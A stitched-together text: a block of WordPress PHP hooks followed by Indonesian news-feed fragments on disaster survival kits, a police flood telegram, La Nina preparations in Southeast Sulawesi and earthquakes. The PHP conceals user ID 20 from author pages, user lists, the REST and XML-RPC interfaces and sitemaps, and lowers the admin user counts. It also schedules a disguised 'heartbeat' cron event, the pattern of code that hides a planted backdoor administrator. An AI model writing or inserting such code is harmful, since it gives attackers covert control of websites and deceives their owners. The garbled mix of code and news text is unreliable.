add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 20;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 20 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 20 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 20;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 20;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 20;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/20(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 20;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Artikel Siaga Bencana Alam, 7 Benda Ini Wajib Ada dalam Tas Survival Kit pertama kali tampil pada lajur.
]]>Sebagai bentuk kesiapsiagaan, maka penting untuk menyiapkan tas bencana atau survival kit yang berisi berbagai kebutuhan setelah bencana terjadi.
Bencana dan keadaan darurat sering terjadi secara tidak terduga. Anda mungkin tidak punya banyak waktu untuk mengumpulkan kebutuhan pokok keluarga dan diri sendiri saat harus mengungsi mendadak akibat bencana alam.
Oleh karena itu, melansir Healthy Children, mempersiapkan perlengkapan darurat bahkan sebelum bencana terjadi adalah hal yang harus dilakukan.
Hal ini bisa dilakukan untuk memastikan Anda mengumpulkan semua barang yang dibutuhkan saat bencana terjadi.
Berikut beberapa tips yang bisa dilakukan:
1. Makanan dan air
Minimal Anda memasukkan air yang bisa digunakan selama tiga hari. Anda juga harus memasukkan makanan yang tidak mudah rusak dan tidak perlu dimasak.
Misal makanan yang bisa disiapkan adalah protein batangan dan makanan siap saji yang tahan lama lainnya.
2. Persediaan
Pakaian secukupnya yang nyaman dipakai, obat-obatan, hingga kantong plastik adalah barang wajib yang harus disiapkan.
3. Berkas berharga
Berkas seperti asuransi kesehatan, rekam medis, surat-surat berharga seperti ijazah, sertifikat rumah adalah hal yang harus diselamatkan.
Anda juga harus menyimpan foto keluarga terbaru yang nantinya bisa membantu reunifikasi keluarga jika saat bencana ada yang terpisah.
4. Peta lokal
Melansir berbagai sumber, peta lokal adalah item penting yang harus dipegang. Hal ini bisa berguna saat tak ada jaringan internet dan listrik padam maka peta cetak lokal bisa sangat berguna.
5. Senter
Baterai ekstra untuk senter sekaligus senternya adalah hal yang juga harus dimasukkan dalam tas survival kit Anda. Saat listrik padam, senter bisa berguna terutama saat harus berjalan saat gelap.
6. Peluit
Peluit dapat membantu Anda memberi sinyal bantuan jika terdampar dan memerlukan pencarian dan penyelamatan. Anda bisa meminta pertolongan dengan meniup peluit tersebut.
7. Masker debu
Tergantung pada keadaan daruratnya, Anda mungkin memerlukan masker untuk membantu melindungi dari udara yang terkontaminasi. Adm
Sumber : CNNIndonesia.com
Artikel Siaga Bencana Alam, 7 Benda Ini Wajib Ada dalam Tas Survival Kit pertama kali tampil pada lajur.
]]>Artikel Polri Terbitkan Telegram Antisipasi Banjir dan Bencana Alam di Indonesia pertama kali tampil pada lajur.
]]>Penanganan banjir dan bencana alam tersebut tertuang dalam surat telegram Nomor:STR/760/X/OPS.2./2022 tanggal 12 Oktober 2022, yang ditandatangani oleh Asops Kapolri Irjen Agung Setya.
“Dalam rangka antisipasi secara dini dan guna mengurangi dampak akibat bencana banjir, tanah longsor, angin puting beliung, dan lain-lain. Sebagai akibat anomali cuaca, tingginya curah hujan yang terjadi di sebagian besar wilayah Indonesia,” tulis telegram tersebut.
Dalam telegram tersebut juga disebutkan arahan kepada seluruh Polda jajaran dalam mengantisipasi banjir hingga bencana alam tersebut. Diantaranya, melakukan koordinasi dengan BPBD setempat untuk memitigasi dalam rangka mengurangi dampak akibat bencana baik terhadap manusia, harta benda maupun fasilitas umum.
Kemudian, lakukan pengecekan kesiapsiagaan personel dan perlengkapan penanggulangan bencana secara terpadu dengan instansi terkait agar sewaktu-waktu siap dan mudah digerakan.
Lalu, mendirikan posko penanganan banjir di Polres, Polsek yang wilayahnya rawan terjadi bencana banjir. Lengkapi dengan peralatan SAR yang siap seperti perahu karet, genset, lampu darurat, senter dan lainnya.
Sosialisasikan dan sebarkan nomor darurat kepada masyarakat yang rawan terdampak bencana. Pasang tanda petunjuk menuju titik kumpul maupun jalur evakuasi yang tempat yang lebih aman sewaktu terjadinya bencana.
Pada wilayah rawan bencana, personel diminta sinergi dengan seluruh stakeholder untuk mendirikan posko penanganan secara terpadu, pengungsian yang memadai, dan dapur umum.
Para Kapolres dan Kapolsek diinstruksikan untuk turun langsung ke lapangan untuk mengendalikan arus lalu lintas, mengatur, menangani kemacetan lalin akibat banjir atau genangan di jalan akibat hujan deras.
Jajaran juga diminta untuk menempatkan personel Polri di lokasi-lokasi ruas jalan yang tergenang banjir dan memasang rambu untuk arahkan warga mengambil jalur alternatif yang aman. Adm
Artikel Polri Terbitkan Telegram Antisipasi Banjir dan Bencana Alam di Indonesia pertama kali tampil pada lajur.
]]>Artikel Badai La Nina Ancam Sultra, Berikut Instruksi Ali Mazi pertama kali tampil pada lajur.
]]>Gubernur Sultra Ali Mazi, Jumat 13 November 2020) pagi, memimpin Apel Konsolidasi Operasi Aman II Tahun 2020 dalam Rangka Kesiapsiagaan Menghadapi Bencana Alam di Wilayah Provinsi Sultra di Kantor Gubernur Sultra.
Apel dihadiri Kapolda Sultra, Irjen Yan Sultra bertujuan meningkatkan keterpaduan dalam kerja sama dan saling mendukung semua unsur terkait dan masyarakat dalam menghadapi bencana alam.
“Apel konsolidasi ini juga sekaligus memastikan kesiapan personel dan peralatan yang mampu dan siap menghadapi segala kemungkinan apabila terjadi bencana alam,” kata Ali Mazi.
Dalam amanat tersebut, gubernur dua periode itu menyampaikan sejumlah instruksi yang akan menjadi pedoman para petugas dalam menghadapi bencana yang sewaktu-waktu dapat terjadi. Hal ini dimaksudkan agar petugas dapat bertindak cepat, tepat, dan efektif demi meminimalisir dampak negatif yang timbul akibat bencana yang terjadi.
Instruksi pertama adalah agar melakukan sosialisasi dan imbauan secara intens kepada masyarakat untuk mengantisipasi dan siap menghadapi bencana alam yang sewaktu-waktu dapat terjadi dengan memperhatikan protokol kesehatan.
Kedua, meningkatkan kemampuan teknis dalam rangka memberikan bantuan kepada masyarakat yang tertimpa bencana di saat keadaan darurat. Ketiga, menjalin dan meningkatkan kerjasama dengan instansi terkait dalam penanganan bencana alam yang terjadi.
Keempat, selalu siap siaga sehingga sewaktu-waktu dibutuhkan telah siap untuk dikerahkan, baik dalam wilayah sendiri maupun wilayah lainnya. Kelima, memedomani prinsip penanggulangan bencana alam sesuai dengan Undang-Undang Nomor 24 Tahun 2007 tentang Penanggulangan Bencana.
Keenam, berkoordinasi dengan BMKG (Badan Meteorologi Klimatologi dan Geofisika) serta instansi terkait setempat untuk mendirikan posko monitoring cuaca dan posko penanganan bencana alam yang ada di wilayah masing-masing.
Ketujuh, melaksanakan tugas kemanusiaan tersebut dengan penuh keikhlasan dan tanggungjawab, serta tetap menjaga diri. Kedelapan, selalu bermunajat dan memohon kepada Tuhan Yang Maha Kuasa agar diberi kesehatan, kekuatan, kesempatan, dan petunjuk, serta senantiasa dalam perlindungan-Nya.
Sebelum menyampaikan amanat, Gubernur berkesempatan memeriksa personel, kendaraan bermotor, kendaraan taktis, dan peralatan perorangan. Sekitar setengah jam, Gubernur dengan didampingi Kapolda Sultra memeriksa setiap barisan dan peralatan yang disiapkan.
Apel konsolidasi kesiapsiagaan menghadapi bencana ini tidak terlepas dari karakteristik wilayah Sultra yang cukup rawan terjadinya bencana. Tahun 2019 lalu, terdapat lima kabupaten/kota yang terdampak bencana alam cukup besar seperti banjir dan tanah longsor, yakni Kabupaten Konawe, Konawe Utara, Konawe Selatan, Kolaka Timur, dan Kota Kendari.
Gubernur mengungkapkan, banjir di sejumlah daerah berdampak dengan rusaknya infrastruktur jalan dan jembatan, sehingga memutuskan jalur lintas antar kabupaten dan provinsi di Sultra.
“Tentunya kita tidak mengharapkabn kembali terjadi di Bumi Anoa yang kita cintai bersama. Oleh karena itu, kesiapsiagaan menghadapi bencana yang rentan terjadi, perlu dipersiapkan dengan baik,” pungkasnya. Adm
Artikel Badai La Nina Ancam Sultra, Berikut Instruksi Ali Mazi pertama kali tampil pada lajur.
]]>Artikel Gempa Magnitudo 3,3 Guncang Lombok Utara pertama kali tampil pada lajur.
]]>BACA JUGA :
Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) menyebutkan gempa terjadi pada pukul 16.22 WIB. Pusat gempa berada di laut, atau 19 Kilometer barat laut Lombok Utara.
Kedalaman gempa 10 Kilometer dengan titik koordinat 8.31 Lintang Selatan dan 115.99 Bujur Timur. Gempa dirasakan di Karang Asem, Bali.
Belum diketahui ada tidaknya kerusakan maupun korban akibat gempa tersebut. adm
Sumber : okezone.com
Judul : https://news.okezone.com/read/2020/02/14/340/2168687/gempa-magnitudo-3-3-guncang-lombok-utara
Artikel Gempa Magnitudo 3,3 Guncang Lombok Utara pertama kali tampil pada lajur.
]]>Artikel Wakatobi : Pagi Disapu Angin Puting Beliung, Malam Diguncang Gempa Bumi pertama kali tampil pada lajur.
]]>Gempa bumi berkekuatan 5,5 skala richter berlangsung sekitar pukul 19.25 WITA. Pusat gempa berada 175 Kilometer Tenggara Wakatobi dengan kedalaman 10 Km.
BACA JUGA :
Beruntung, oleh BMKG gempa tidak berpotensi menimbulkan tsunami.
Sebelumnya, dini hari sekitar pukul 03.00 WITA, bencana puting beliung memporak-porandakkan 10 buah rumah warga Kelurahan Mandati III dan Desa Nelayan Bakti, Kecamatan Wangi-wangi Selatan.
Tidak ada korban jiwa saat kejadian bencana alam berlangsung. Hanya saja rumah yang laporkan diamuk angin puting beliung mengalami rusak parah. Adm
Artikel Wakatobi : Pagi Disapu Angin Puting Beliung, Malam Diguncang Gempa Bumi pertama kali tampil pada lajur.
]]>